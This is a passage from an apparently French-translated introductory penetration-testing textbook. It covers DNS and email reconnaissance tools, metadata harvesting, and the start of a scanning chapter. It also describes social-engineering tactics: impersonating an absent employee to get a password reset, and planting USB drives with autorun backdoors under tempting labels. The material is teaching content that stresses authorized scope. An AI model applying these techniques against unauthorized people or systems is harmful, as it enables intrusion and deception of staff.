syngress.com, www.syngress.com et booksite.syngress.com. Si lun deux
avait chapp nos recherches prcdentes, il est important de lajouter
notre liste de cibles potentielles. Dans la page des rsultats, nous
pouvons cliquer sur un des liens de la colonne Site Report. Le rapport qui
saffiche fournit de nombreuses informations intressantes sur le site
correspondant (voir Figure 2.9).
Figure 2.9
Le rapport sur le site www.syngress.com.
Vous le constatez, ce rapport publie des informations intressantes sur
notre cible, notamment ladresse IP et le systme dexploitation du
serveur web, ainsi que le serveur DNS. nouveau, elles doivent tre
catalogues et enregistres.
Host
Trs souvent, les actions de reconnaissance produiront non pas des
adresses IP mais des noms dhtes. Lorsque cest le cas, la commande
host se chargera den faire la traduction notre place. Cet outil est
intgr la plupart des systmes Linux, y compris Kali. Il suffit douvrir
une fentre de terminal et de saisir la commande suivante :
host nom_hte_cible
Supposons que nos recherches prcdentes nous aient amens
dcouvrir un serveur DNS dont le nom dhte est ns1.dreamhost.com.
Pour convertir celui-ci en une adresse IP, nous saisissons la commande
suivante dans un terminal :
host ns1.dreamhost.com
La Figure 2.10 illustre le rsultat obtenu.
Figure 2.10
La sortie produite par la commande host.
La commande host peut galement tre employe dans le sens inverse,
pour convertir une adresse IP en un nom dhte. Voici comment
procder :
host addresse_IP
Avec loption -a, la sortie devient verbeuse et peut ventuellement
rvler des informations supplmentaires. Nhsitez pas passer du
temps consulter la documentation et les fichiers daide de cet outil.
Vous pouvez galement lire son mode demploi en excutant man host
dans une fentre de terminal. Ce fichier daide vous permettra de vous
familiariser avec les diffrentes options qui vous donneront accs aux
diffrentes fonctionnalits de host.
Extraire des informations du DNS
Les serveurs DNS sont des cibles de choix pour les hackers et les testeurs
dintrusion, car ils contiennent gnralement des informations de forte
valeur. Le DNS est un composant central des rseaux locaux et
dInternet. Il est entre autres responsable de la conversion des noms de
domaine en adresses IP. En tant qutres humains, il nous est plus facile
de mmoriser google.fr que http://173.194.40.216. En revanche, les
machines prfrent linverse. Le DNS se charge de cette traduction.
En tant que testeurs dintrusion, nous devons nous focaliser sur les
serveurs DNS qui appartiennent notre cible. La raison en est simple.
Pour que le DNS fonctionne correctement, il doit connatre la fois
ladresse IP et le nom de domaine correspondant de chaque ordinateur du
rseau. En terme de reconnaissance, obtenir un accs total au serveur
DNS dune entreprise revient trouver le trsor au pied de larc-en-ciel.
Ou, peut-tre de faon plus prcise, cela revient trouver un plan de la
socit, avec la liste complte des adresses IP et des noms dhtes
internes qui appartiennent la cible. Noubliez pas que lun des
principaux objectifs de la collecte dinformations est de recueillir des
adresses IP qui appartiennent la cible.
Hormis le trsor, lintrt de se concentrer sur le DNS est que, dans de
nombreux cas, ces serveurs ont tendance fonctionner selon le principe
"si a marche, il ne faut surtout pas y toucher".
Les administrateurs rseau peu expriments regardent souvent leurs
serveurs DNS avec mfiance et dfiance. Ils choisissent de les ignorer
totalement car ils nen matrisent pas le fonctionnement. Par consquent,
la mise jour, le changement de configuration ou lapplication des
correctifs sur les serveurs DNS ne font pas partie des tches prioritaires.
Ajoutez cela le fait que la plupart des serveurs DNS semblent
bnficier dune grande stabilit (tant que ladministrateur ny touche
pas) et vous avez l une recette pour un dsastre de scurit. Ces
administrateurs ont appris tort au dbut de leur carrire que moins ils
bricolaient leurs serveurs DNS, moins ils risquaient de provoquer des
dysfonctionnements.
En raison du nombre de serveurs DNS mal configurs et non actualiss
qui foisonnent aujourdhui, il est naturel que le testeur dintrusion suppose
que de nombreux administrateurs rseau suivent le grand principe cit
prcdemment.
Si nos dclarations se vrifient dans un nombre dentreprises mme
faible, nous disposons de cibles intressantes qui ont une forte probabilit
dtre non corriges ou obsoltes. Logiquement, la question suivante est
de savoir comment accder ce trsor virtuel. Avant que nous puissions
dmarrer lexamen dun serveur DNS, nous avons besoin dune adresse
IP. Au cours des tches de reconnaissance prcdentes, nous avons
rencontr plusieurs rfrences au DNS. Certaines dentre elles
correspondaient des noms dhtes, tandis que dautres taient des
adresses IP. Grce la commande host, nous pouvons convertir les noms
dhtes en adresses IP et ajouter celles-ci notre liste de cibles
potentielles. nouveau, vous devez vous assurer que les adresses IP
recueillies sont couvertes par ltendue du test.
Nous disposons prsent dune liste dadresses IP des serveurs DNS qui
appartiennent notre cible ou quelle utilise. Nous pouvons donc
commencer linterrogation du DNS afin den extraire des informations.
Bien que cela soit de moins en moins possible, lune des premires actions
consiste tenter un transfert de zone.
Les serveurs DNS conservent des enregistrements qui mettent en
correspondance ladresse IP et le nom dhte pour tous les appareils
quils connaissent. Dans de nombreux rseaux, plusieurs serveurs DNS
sont dploys afin assurer une redondance ou une rpartition de la
charge. En consquence, ces serveurs ont besoin dun mcanisme pour
partager des informations : le transfert de zone. Au cours de ce transfert,
galement appel AXFR, un serveur envoie toutes les correspondances
hte-vers-IP quil contient un autre serveur DNS. Cest grce ces
changes que la synchronisation des serveurs DNS est assure.
Mme si nous ne parvenons pas raliser un transfert de zone, nous
devons passer du temps examiner tous les serveurs DNS qui entrent
dans ltendue du test.
NSLookup
Le premier outil que nous utiliserons pour exploiter le DNS se nomme
NSLookup. Il permet dinterroger les serveurs DNS et dobtenir des
enregistrements sur les diffrents htes quils connaissent. NSLookup est
intgr de nombreuses versions de Linux, dont Kali, et est disponible
pour Windows. Il fonctionne de manire trs similaire sur tous les
systmes dexploitation, mais il est prfrable de connatre les
particularits de la version fournie avec votre systme. Pour cela, sous
Linux, consultez la page de manuel de loutil en ouvrant une fentre de
terminal et en saisissant la commande suivante :
man nslookup
Attention
La page de manuel dun logiciel est une documentation textuelle qui
dcrit loutil correspondant, notamment ses utilisations de base et
avances, ainsi que dautres dtails de fonctionnement. La plupart des
outils Linux disposent dune page de manuel. Elles se rvleront utiles
lorsque vous voudrez excuter un nouveau programme ou rsoudre des
problmes. Pour afficher la page de manuel dun outil, saisissez la
commande suivante depuis le terminal :
man nom_outil
Vous devez videmment remplacer nom_outil par le nom du programme
dont vous souhaitez consulter la page de manuel.
NSLookup peut oprer en mode interactif. Autrement dit, vous lancez le
programme puis vous saisissez ses diffrentes commandes pour le faire
fonctionner correctement. Ouvrez une fentre de terminal et excutez la
commande suivante :
nslookup
Linvite du systme dexploitation, en gnral #, est alors remplace par
>, qui correspond linvite de loutil. Nous pouvons alors saisir les
informations supplmentaires ncessaires au fonctionnement de
NSLookup.
Nous commenons par le mot cl server, auquel nous ajoutons ladresse
IP du serveur DNS interroger. En voici un exemple :
server 8.8.8.8
NSLookup accepte la commande et affiche une nouvelle invite >. Nous
prcisons ensuite le type denregistrement qui nous intresse. Pendant la
phase de reconnaissance, plusieurs types denregistrements pourront nous
fournir des informations intressantes. Pour connatre lintgralit de la
liste de tous ces types, avec leur description, nhsitez pas exploiter vos
nouvelles comptences Google. Si nous voulons des informations
gnrales, nous fixons le type any :
set type=any
Faites attention aux espaces ou vous recevrez un message derreur. Si
nous voulons obtenir du serveur DNS des informations spcifiques, il
suffit de changer le type, par exemple set type=mx, pour connatre
ladresse IP du serveur de messagerie lectronique de lentreprise cible.
Pour conclure notre premire interrogation du DNS laide de
NSLookup, nous saisissons le domaine cible linvite >.
Supposons que nous souhaitions connatre le serveur qui gre la
messagerie lectronique de Syngress. Dans lexemple prcdent, nous
avons dtermin quun des serveurs de noms utiliss par Syngress se
nomme ns1.dreamhost.com. Nous pouvons nous servir de host pour
connatre ladresse IP associe cet hte. Avec cette information, nous
pouvons utiliser NSLookup pour interroger le DNS et connatre le serveur
de messagerie de Syngress. La Figure 2.11 illustre cette opration. Le
nom du serveur de messagerie lectronique se trouve en partie infrieure
droite de lcran. Nous lajoutons notre liste de cibles potentielles.
Figure 2.11
Utiliser host et nslookup pour dterminer le serveur de messagerie
lectronique de la cible.
Info
En utilisant set type=any dans NSLookup, vous obtiendrez un
enregistrement du DNS plus complet, qui comprend notamment les
informations montres la Figure 2.11.
Dig
Pour extraire des informations du DNS, Dig se rvle un outil
particulirement appropri. Pour lutiliser, il suffit dexcuter la
commande suivante depuis un terminal :
dig @ip_cible
Il faut naturellement remplacer ip_cible par ladresse IP relle de la
cible. Parmi ses autres possibilits, Dig permet de tenter trs simplement
un transfert de zone. Rappelez-vous quil sagit dextraire de multiples
enregistrements partir dun serveur DNS. Dans certains cas, le serveur
cible enverra tous les enregistrements quil contient. Cette opration sera
particulirement intressante si la cible ne fait pas de diffrence entre les
adresses IP internes et externes lors du transfert de zone. Pour la raliser
avec Dig, il suffit dindiquer loption -t AXFR.
Pour tenter un transfert de zone sur un serveur DNS fictif dadresse IP
192.168.1.23 et le nom de domaine example.com, nous excutons la
commande suivante depuis un terminal :
dig @192.168.1.23 example.com t AXFR
Si les transferts de zone sont autoriss et non limits, nous obtenons une
liste des htes et des adresses IP fournie par le serveur DNS associ au
domaine cible.
Fierce
Nous lavons indiqu prcdemment, la plupart des administrateurs sont
aujourdhui suffisamment prcautionneux pour viter que nimporte qui
effectue un transfert de zone non autoris. Mais tout nest pas perdu. Si le
transfert de zone choue, il existe des dizaines dautres bons outils pour
interroger le DNS. Fierce est un script Perl facile utiliser qui permet
dobtenir de nombreuses cibles supplmentaires.
Sous Kali, Fierce se trouve dans le rpertoire /usr/bin/. Il suffit douvrir
un terminal et dexcuter la commande fierce avec les options
appropries.
Sous BackTrack, cet outil est install dans son propre rpertoire, en
gnral /pentest/enumeration/dns/fierce. Pour y accder, vous pouvez
passer par le menu Application > BackTrack > Information Gathering >
Network Analysis > DNS Analysis afin douvrir une fentre de terminal
dans le rpertoire correspondant. Vous pouvez ensuite lancer loutil en
excutant le script fierce.pl avec loption -dns suivie du domaine cible :
./fierce.pl -dns trustedsec.com
Notez les caractres ./ devant le nom de loutil. Ils sont indispensables
pour que Linux excute le fichier qui se trouve dans le rpertoire
courant.
Le script commence par tenter un transfert de zone complet partir du
domaine indiqu. Sil choue, il essaie de dterminer des noms dhtes de
manire brutale en envoyant des requtes sur le serveur DNS cible. Cette
approche pourra se rvler trs efficace dans la dcouverte de cibles
supplmentaires. Lide gnrale est que si Dave possde trustedsec.com
(ce qui est le cas ; merci de ne pas le scanner ou linterroger) il peut
galement possder support.trustedsec.com, citrix.trustedsec.com,
print.trustedsec.com et de nombreux autres.
Info
Si Fierce nest pas install sur votre machine dattaque, vous pouvez
lobtenir en excutant la commande suivante :
apt-get install fierce
De nombreux autres outils peuvent tre utiliss pour interagir avec le
DNS. Pour vritablement les exploiter, vous devez comprendre
parfaitement le fonctionnement du DNS. la fin de ce chapitre, nous
prsentons quelques outils qui vous seront utiles lors dun test dintrusion
impliquant le DNS.
Extraire des informations des serveurs de messagerie
Les serveurs de messagerie lectronique seront une source
dinformations exceptionnelle pour les hackers et les testeurs dintrusion.
bien des gards, le courrier lectronique sapparente une porte
ouverte sur lentreprise cible. Si la cible hberge son propre serveur de
messagerie, il reprsente un bon endroit o placer une attaque. Il est
important de ne pas oublier "quil est impossible de bloquer ce qui doit
entrer". Autrement dit, pour que le courrier lectronique fonctionne
correctement, un trafic externe doit passer au travers des priphriques
de primtre, comme les routeurs et les pare-feu, pour arriver sur une
machine interne, gnralement quelque part au sein dun rseau protg.
Cest pourquoi nous pouvons souvent recueillir des lments
dinformation importants en interagissant directement avec le serveur de
messagerie. Lune des premires actions consiste envoyer un courrier
lectronique lentreprise en joignant un fichier .bat ou un fichier .exe
non malveillant, comme calc.exe. Lobjectif est denvoyer un message au
serveur de messagerie cible, lintrieur de lentreprise, en esprant
quil lexamine et le rejette.
Lorsque le message refus nous revient, nous pouvons extraire des
informations relatives au serveur de messagerie cible. Le corps du
message reu explique en gnral que le serveur naccepte pas les
courriers accompagns de fichiers aux extensions potentiellement
dangereuses. Cette explication prcise souvent le fournisseur et la version
de lantivirus qui a servi analyser le message. En tant quassaillant,
cette information est de premire importance.
Le message renvoy par le serveur cible nous permet galement
dinspecter les en-ttes Internet. Nous pouvons en extraire des
informations de base sur le serveur de messagerie, notamment des
adresses IP et la version ou la marque du logiciel quil utilise. Ces
informations nous seront extrmement utiles lorsque nous passerons la
phase dexploitation (phase 3).
MetaGooFil
MetaGooFil fait partie des excellents outils de recueil dinformations. Il
sagit dun outil dextraction de mtadonnes dvelopp par les
personnes qui nous proposent galement The Harvester. Les
mtadonnes sont souvent dfinies comme "des donnes propos des
donnes". Lorsque nous crons un document, par exemple avec
Microsoft Word ou PowerPoint, des donnes supplmentaires sont
gnres et enregistres avec le fichier. Elles comprennent souvent
diffrents lments dinformation qui dcrivent le document, notamment
le nom du fichier, sa taille, son propritaire (ou la personne qui la cr)
et lemplacement (ou le chemin) dans lequel il a t enregistr. Tout cela
se passe automatiquement, sans intervention de lutilisateur.
Lassaillant capable de consulter ces donnes va disposer dinformations
uniques sur lentreprise cible, comme des noms dutilisateurs, des noms
dordinateurs ou de serveurs, des chemins rseaux, des partages de
fichiers, etc. MetaGooFil est un outil qui permet de fouiller Internet la
recherche de documents appartenant la cible. Aprs quil les a trouvs,
il les tlcharge et tente den extraire des mtadonnes utiles.
MetaGooFil est fourni avec Kali et peut tre invoqu depuis un terminal
en excutant la commande metagoofil (avec les options appropries).
Sinon, par exemple sous BackTrack, allez dans le rpertoire qui contient
lexcutable de MetaGooFil :
cd /pentest/enumeration/google/metagoofil
Nous vous conseillons de crer dans ce rpertoire un dossier qui
contiendra tous les fichiers tlchargs par MetaGooFil :
mkdir files
Ensuite, vous pouvez excuter MetaGooFil laide de la commande
suivante :
./metagoofil.py -d syngress.com t pdf,doc,xls,pptx n 20 -o files f
results.html
./metagoofil.py permet dinvoquer le script Python de MetaGooFil
(noubliez pas les caractres ./ devant le nom du script). Loption -d
prcise le domaine cible de la recherche. Loption -f sert prciser le ou
les types de fichiers localiser. Au moment de lcriture de ces lignes,
MetaGooFil est capable de traiter les formats pdf, doc, xls, ppt, odp, ods,
docx, xlsx et pptx. Vous pouvez indiquer plusieurs types de fichiers en les
sparant par des virgules (non des espaces). Loption -n permet de
prciser le nombre de fichiers de chaque type que loutil doit tlcharger.
Pour limiter les rsultats renvoys, il suffit de prciser des types de
fichiers individuels. Loption -o prcise le nom du dossier o les fichiers
trouvs et tlchargs par MetaGooFil devront tre stocks. Dans ce cas,
nous indiquons le rpertoire files que nous avons cr spcifiquement
dans ce but. Enfin, loption -f fixe le fichier de sortie, qui correspond un
document mis en forme facile consulter et cataloguer. Par dfaut,
MetaGooFil affiche galement ses dcouvertes sur le terminal.
Lexcution de MetaGooFil sur Syngress ne rvlera rien de
particulirement utile. Voici cependant un exemple de sortie obtenue
pour un test dintrusion rcent, qui montre clairement la valeur des
informations recueillies et lintrt de les inclure dans les donnes de
reconnaissance.
C:\Documents and Settings\dennisl\My Documents\
Ce rsultat est riche dinformations. Tout dabord, il nous fournit un nom
dutilisateur rseau valide : dennisl. Ensuite, il montre clairement que
Dennis se sert dun ordinateur sous Windows.
ThreatAgent
Pour la phase de reconnaissance, nous recommandons galement loutil
ThreatAgent Drone, qui, en ralit, en comprend plusieurs. Il a t
dvelopp par Marcus Carey. Vous devez commencer par ouvrir un
compte gratuit ladresse https://www.threatagent.com.
ThreatAgent place la collecte intelligente open-source un niveau
suprieur en utilisant des sites, des outils et des technologies varis pour
crer un dossier complet sur votre cible. Vous devez simplement disposer
du nom de lentreprise (Syngress) et dun nom de domaine, comme
syngress.com (voir Figure 2.12).
Figure 2.12
Lancer une recherche avec ThreatAgent.
Aprs que le drone a termin lextraction des informations partir des
diffrents sites, il affiche un rapport qui comprend des plages dadresses
IP, des adresses de courrier lectronique, des points de contact dans
lentreprise, des ports ouverts (avec Shodan) et bien dautres lments.
La Figure 2.13 montre les rsultats (rels) dune recherche sur Syngress.
Figure 2.13
Les rsultats fournis par ThreatAgent.
Dans ces rsultats, nous pouvons trouver des noms qui proviennent de
LinkedIn, Jigsaw et dautres sites publics. Nous avons galement une
longue liste dadresses lectroniques qui ont t extraites et ajoutes
grce des outils comme The Harvester (voir Figure 2.14).
Figure 2.14
Vecteurs dattaque supplmentaires identifis par ThreatAgent.
Cet outil sera incroyablement utile aux testeurs dintrusion et nous vous le
recommandons fortement pour la phase de reconnaissance dune cible.
Ingnierie sociale
Aucune prsentation de la reconnaissance ou du hacking ne saurait tre
complte si lon ne traitait pas de lingnierie sociale. Nombreux sont
ceux qui soutiennent que lingnierie sociale est lun des moyens les plus
simples et les plus efficaces pour recueillir des informations sur une cible.
Cette activit consiste exploiter la faiblesse humaine inhrente chaque
entreprise. Au travers de lingnierie sociale, lassaillant a pour objectif
damener un employ divulguer des informations qui devraient rester
confidentielles.
Supposons que vous meniez un test dintrusion sur une entreprise. Au
cours de la reconnaissance initiale, vous dcouvrez ladresse de
messagerie lectronique de lun des commerciaux de la socit. Vous
savez que ces personnes sont plutt enclines rpondre aux demandes
dventuels clients. Vous envoyez donc un courrier partir dune
adresse anonyme en feignant de vous intresser un produit particulier.
En ralit, vous vous moquez totalement du produit, lobjectif de votre
message tant uniquement dobtenir une rponse de la part du
commercial afin dexaminer les en-ttes de messagerie quelle contient.
Vous allez ainsi collecter des informations sur les serveurs de messagerie
de lentreprise.
Allons plus loin dans notre exemple dingnierie sociale. Supposons que
ce commercial se nomme Alain Trieur (vous avez obtenu cette
information au cours de la reconnaissance effectue sur le site web de
lentreprise et dans la signature de sa rponse votre message). Par
ailleurs, supposons que suite votre demande dinformation sur le produit
vous ayez reu une rponse automatique qui indiquait quAlain Trieur
tait absent du bureau pendant deux semaines, avec un accs illimit sa
messagerie lectronique.
Un exemple classique dingnierie sociale sera de se faire passer pour
Alain Trieur et dappeler le support technique de lentreprise cible afin
de lui demander de vous aider rinitialiser votre mot de passe car vous
tes en dplacement ltranger et dans limpossibilit daccder votre
messagerie web. Si vous avez de la chance, la personne du support
technique croira votre histoire et rinitialisera le mot de passe. En
supposant que le mme mot de passe est utilis sur lensemble du rseau,
vous avez prsent accs la messagerie dAlain Trieur et aux autres
ressources rseau, comme le VPN pour les accs distance ou le FTP
pour lenvoi des chiffres de vente et les commandes des clients.
linstar de la reconnaissance de faon gnrale, lingnierie sociale
demande du temps et de la pratique. Tout le monde ne fait pas un bon
ingnieur social. Pour russir, vous devez afficher une grande assurance,
une matrise de la situation et une flexibilit suffisante pour improviser. Si
lopration se fait par tlphone, il sera extrmement utile davoir des
notes dtailles et bien rdiges pour le cas o des dtails vous seraient
demands.
Une autre possibilit est de laisser des cls USB ou des CD dans
lentreprise cible. Ils peuvent tre distribus en plusieurs endroits dans la
socit ou ct. Le parking, le hall dentre, les toilettes et le bureau
dun employ font de bons candidats. Il est dans la nature humaine
dinsrer la cl USB ou le CD dans un PC simplement pour voir ce quil
contient. Toutefois, dans ce cas, un programme de porte drobe
excution automatique est prsent sur le mdia et se lance ds que celui-
ci est insr dans lordinateur. Le programme est capable de contourner
le pare-feu de la socit et appelle lordinateur de lassaillant en laissant
la cible expose, avec une porte dentre grande ouverte. Nous
reviendrons sur les portes drobes au Chapitre 6.
Info
Pour que ce type dattaque russisse plus facilement, vous pouvez ajouter
une tiquette sur les CD ou les cls USB. Il sera quasiment impossible de
rsister la tentation dexaminer un disque libell "Rapports des
entretiens annuels", "Proposition de rduction des effectifs" ou juste
"CONFIDENTIEL !".
Passer les informations au crible
Aprs que les tapes prcdentes sont termines, vous devez prvoir du
temps pour examiner minutieusement toutes les informations collectes.
Dans la plupart des cas, mme une reconnaissance lgre produira des
montagnes de donnes. Vous devez disposer dinformations solides sur la
cible, notamment son organisation, sa structure et les technologies
dployes.
Pendant la procdure danalyse, une bonne approche consiste tablir
une liste spare qui centralise les adresses IP. Vous devez faire de
mme pour les adresses lectroniques, les noms dhtes et les URL.
Malheureusement, la plupart des donnes recueillies ne seront pas
directement attaquables. Pendant lanalyse de vos dcouvertes, vous
devez transformer en adresse IP toute information qui nest pas une
adresse IP. En utilisant Google et la commande host, vous devez pouvoir
extraire des adresses IP supplmentaires lies la cible. Ajoutez-les la
liste.
Les informations collectes ont donc t minutieusement analyses et les
donnes ont t transformes en cibles attaquables. Vous disposez alors
dune liste dadresses IP qui appartiennent la cible ou qui lui sont
associes dune manire ou dune autre. Comme toujours, il est important
de ne pas oublier ltendue autorise pour le test, car toutes les adresses
IP recueillies nen feront peut-tre pas partie. La dernire tape de la
reconnaissance consiste donc examiner la liste des adresses IP et
contacter la socit pour savoir si vous pouvez tendre la porte du test
dintrusion ou si vous devez retirer une adresse de la liste.
ce stade, vous disposez dune liste dadresses IP que vous pouvez
attaquer lgitimement. Toutefois, nignorez pas les donnes non
attaquables que vous avez recueillies. Lors des tapes suivantes, vous
allez consulter les informations obtenues lors de la phase 1 et en extraire
des lments utiles.
Mettre en pratique cette phase
Maintenant que vous avez de bonnes connaissances sur les outils et les
techniques de base employs pour la reconnaissance, vous aurez besoin
de mettre en pratique tous ces lments. Il existe plusieurs faons de
procder. Lune des plus simples et des plus efficaces consiste tablir
une liste de socits prises dans un journal. Vous pouvez galement les
reprer sur les sites web dinformations.
Lorsque vous tablissez cette liste de cibles potentielles pour la
reconnaissance, essayez de conserver des entreprises dont vous navez
jamais entendu parler. Attention toutefois ne pas procder une
reconnaissance active ! Personne ne vous a autoris mettre en place les
techniques actives dcrites dans ce chapitre. Vous pouvez en revanche
effectuer votre collecte dinformations laide des techniques passives
prsentes. Vous pourrez ainsi affiner et aiguiser vos comptences. Vous
aurez galement lopportunit de dvelopper un systme pour cataloguer,
organiser et analyser les donnes collectes. Noubliez pas que cette
phase est peut-tre la moins technique mais quelle a le meilleur potentiel
de retour.
Et ensuite
Une fois que vous aurez pratiqu les bases de la reconnaissance et que
vous les matriserez, vous serez suffisamment arm pour passer des
approches plus sophistiques de la collecte des informations. Nous vous
proposons une liste doutils et de techniques qui vous permettront daller
plus loin dans cette activit.
Commencez par apprendre utiliser les oprateurs des moteurs de
recherche autres que Google. Nous lavons expliqu prcdemment, il
existe diffrents moteurs de recherche, et la matrise de leur langage est
importante. La plupart des moteurs de recherche modernes proposent des
oprateurs ou dautres mcanismes pour effectuer des recherches
labores. Noubliez pas que vous ne devez jamais baser votre
reconnaissance sur un seul moteur. La recherche des mmes mots cls
sur diffrents moteurs donne souvent des rsultats trs diffrents et
extrmement utiles.
Si vous utilisez Windows, FOCA et SearchDiggity seront des outils
incroyables pour extraire des mtadonnes et tendre votre liste de
cibles. Ils sont tous deux gratuits. FOCA est disponible ladresse
http://www.informatica64.com/foca.aspx. Si votre niveau despagnol
nest pas suffisant, cliquez sur licne du drapeau du Royaume-Uni afin
de consulter la version anglaise du site. SearchDiggity est un autre
excellent outil pour exploiter les informations publiques, le hacking
Google et lextraction de donnes. Il sarticule autour de produits et
exploite diffrentes ressources pour produire ses rsultats. Si vous
consacrez le temps ncessaire la matrise de ces outils, vous serez en
bonne voie pour devenir expert en reconnaissance numrique.
Ds que les fondamentaux seront acquis, vous aurez tout intrt
consulter la base de donnes du hacking Google (GHDB, Google
Hacking Database) mise en place par Johnny Long. Elle runit les hacks
Google les plus efficaces et les plus craints existants aujourdhui. Nous ne
le rpterons jamais assez, ne testez pas ces hacks sur des cibles non
autorises ! Allez sur le site de la GHBD
(http://www.hackersforcharity.org/ghdb) et prenez une minute pour lire
la prsentation de Hackers for Charity et le travail de Johnny au sein du
programme food for work.
Maltego de Paterva est un outil trs puissant qui agrge des informations
issues de bases de donnes publiques et qui peut fournir des dtails
extrmement prcis sur une cible. Ils peuvent tre trs techniques,
comme lemplacement ou ladresse IP du pare-feu, mais galement
personnels, comme la position physique dun commercial en
dplacement. La matrise de Maltego va exiger un peu defforts, mais
cela en vaudra la peine. Il en existe une version gratuite dans Kali.
Enfin, nhsitez pas prendre le temps dexplorer le couteau suisse
dInternet, RobTex. Ce site est souvent un point de passage oblig lors de
la collecte de donnes car il est polyvalent et fournit de nombreuses
informations.
En rsum
Le recueil dinformations constitue la premire phase dun test
dintrusion ou dun hack. Bien quelle soit moins technique, son
importance ne doit pas tre sous-estime. Plus vous collecterez
dinformations sur votre cible, plus vos chances de russite lors des
phases ultrieures du test dintrusion seront leves. Au dbut, vous
risquez de vous sentir submerg par la quantit dinformations recueillies.
Cependant, avec un processus de documentation adapt, une utilisation
approprie des outils et un peu de pratique, vous matriserez rapidement
lart de la reconnaissance.
3
Scans
Introduction
Au terme de la phase 1, vous devez avoir dvelopp une solide
comprhension de la cible et organis dans le dtail les informations
recueillies. Ces donnes comprennent principalement des adresses IP.
Rappelez-vous que lune des dernires tapes de la reconnaissance
consiste crer une liste des adresses IP qui appartiennent la cible et
que vous tes autoris attaquer. Cette liste permet de passer de la
phase 1 la phase 2. Au cours de la premire phase, nous avons
transform les informations collectes en adresses IP attaquables. Au
cours de la deuxime phase, nous associerons les adresses IP des ports
et des services ouverts.
Info
Les exemples de ce chapitre seront mis en uvre partir de Kali et
cibleront une machine virtuelle Windows XP ou Metasploitable. Aprs
que vous aurez tlcharg et install Metasploitable, vous aurez
probablement besoin de modifier les paramtres rseau dans la
configuration de VMware Player de manire les passer de "bridged"
"NAT". Redmarrez ensuite la machine virtuelle Metasploitable pour
arriver un cran douverture de session comparable celui de Kali. Il
sera inutile de fournir un nom dutilisateur et un mot de passe car
lobjectif est de compromettre Metasploitable et dobtenir un accs
distant au systme.
Il est important de comprendre que le rle de la plupart des rseaux est
dautoriser au moins une communication entrante et sortante leur
priphrie. Les rseaux totalement isols, sans connexion Internet, sans
services comme la messagerie lectronique ou laccs au Web, sont
aujourdhui extrmement rares. Chaque service, connexion ou route vers
un autre rseau constitue pour lassaillant un point dattaque potentiel.
Les scans ont pour objectif didentifier les systmes actifs et les services
qui existent sur ces systmes.
Dans le cadre de notre mthodologie, nous dcomposons la phase 2 en
quatre tapes distinctes :
1. Dterminer si un systme est actif avec des paquets ping.
2. Scanner les ports du systme avec Nmap.
3. Utiliser le moteur de scripts de Nmap (NSE, Nmap Scripting
Engine) pour examiner de faon plus prcise la cible.
4. Scanner le systme la recherche de vulnrabilits avec
Nessus.
Plus loin dans ce chapitre, nous prsenterons des outils qui regroupent ces
tapes au sein dune seule procdure. Toutefois, lors de la dcouverte
dun nouvel outil et de son apprentissage, il est prfrable de les raliser
sparment.
Ltape 2.1 consiste dterminer si un systme cible est allum et sil est
capable de communiquer ou dinteragir avec notre machine. Elle est la
moins fiable et doit toujours tre suivie des tapes 2.2 2.4 quel que soit
le rsultat du test. Peu importe ce que nous allons dcouvrir, il faut mener
bien cette tape et noter toutes les machines qui sembleront actives.
Pour tre honnte, avec lexprience, vous combinerez probablement les
tapes 2.1 et 2.2 en un seul scan ralis directement avec Nmap. Puisque
cet ouvrage se focalise sur les bases, nous prsentons ltape 2.1 comme
une procdure indpendante.
Ltape 2.2 a pour objectif didentifier les ports et services qui
sexcutent sur un hte donn.
Pour faire simple, un port permet un logiciel, un service ou un rseau de
communiquer avec un autre matriel, comme un ordinateur. Il sagit
dune connexion de donnes qui permet un ordinateur dchanger des
informations avec dautres ordinateurs, logiciels ou appareils. Avant
linterconnexion des ordinateurs et des rseaux, les informations taient
transfres entre les machines en utilisant des supports physiques, comme
des disquettes. Ds lors que les ordinateurs ont t connects un rseau,
ils ont eu besoin dune solution efficace pour communiquer les uns avec
les autres. Elle a pris la forme des ports. En utilisant plusieurs ports, il est
possible deffectuer des communications simultanes sans moment
dattente.
Si vous ntes pas familier des ports et des ordinateurs, lanalogie
suivante pourra peut-tre vous aider. Imaginez que votre ordinateur soit
une maison. Il existe plusieurs faons dy entrer. Chaque ouverture qui
permet de pntrer dans la maison (ordinateur) est comparable un port,
et toutes les entres permettent au trafic dentrer et de sortir.
Imaginez que chaque point dentre dans la maison soit repr par un
numro unique. La plupart des visiteurs passeront par la porte principale,
mais les propritaires pourront emprunter la porte du garage. Certaines
personnes pntreront dans la maison par la porte du jardin ou par une
fentre. Dautres pourraient mme passer par une fentre de toit ou
tenter demprunter la chatire !
Quelle que soit la manire dont vous entrez dans votre maison, chacun de
ces exemples se calque parfaitement sur les ordinateurs et les ports. Les
ports jouent le rle de passerelles vers votre ordinateur. Certains sont
relativement communs et reoivent un trafic important (la porte dentre
principale), tandis que dautres sont plus rarement employs (par les
humains), comme la chatire.
De nombreux services rseau rpandus sexcutent sur des numros de
port standard et peuvent donner aux assaillants des indications sur le
fonctionnement du systme cible. Le Tableau 3.1 recense les ports
classiques et les services associs.
Tableau 3.1 : Numros de ports rpandus et les services associs
Numro de port Service
20 Transfert de donnes FTP
21 Contrle FTP
22 SSH
23 Telnet
25 SMTP (messagerie lectronique)
53 DNS
80 HTTP
137-139 NetBIOS
443 HTTPS
445 SMB
1433 MSSQL
3306 MySQL
3389 RDP
5800 VNC au-dessus de HTTP
5900 VNC

Il existe videmment de nombreux autres ports et services. Toutefois,
cette liste numre les ports les plus rpandus et utiliss par les
entreprises aujourdhui. Ds que vous commencerez scanner vos
cibles, vous rencontrerez gnralement ces services.
Nous devons faire particulirement attention la dcouverte des ports
ouverts sur les systmes cibles. Des notes dtailles doivent tre prises et
la sortie des outils utiliss ltape 2.2 doit tre enregistre. Noubliez
pas que chaque port ouvert est une porte dentre potentielle dans le
systme cible.
Ltape 2.3 exploite le moteur de scripts de Nmap (NSE, Nmap Scripting
Engine) pour pousser plus loin linterrogatoire et vrifier les dcouvertes
prcdentes. Le NSE est un outil simple extrmement puissant qui tend
les fonctions et la souplesse de Nmap. Il donne aux hackers et aux
testeurs dintrusion la possibilit dutiliser des scripts personnaliss ou
prdfinis afin de vrifier les dcouvertes, didentifier de nouveaux
processus ou vulnrabilits, et dautomatiser de nombreuses techniques
de test dintrusion.
Ltape 2.4 conclut notre approche par un scan des vulnrabilits. Il
sagit de localiser et didentifier des faiblesses connues dans les services
et les logiciels qui sexcutent sur une machine cible. Dcouvrir des
vulnrabilits connues sur un systme cible est comparable gagner au
loto. Aujourdhui, de nombreux systmes peuvent tre exploits
directement, avec peu ou pas de connaissances, ds lors quils souffrent
dune vulnrabilit connue.
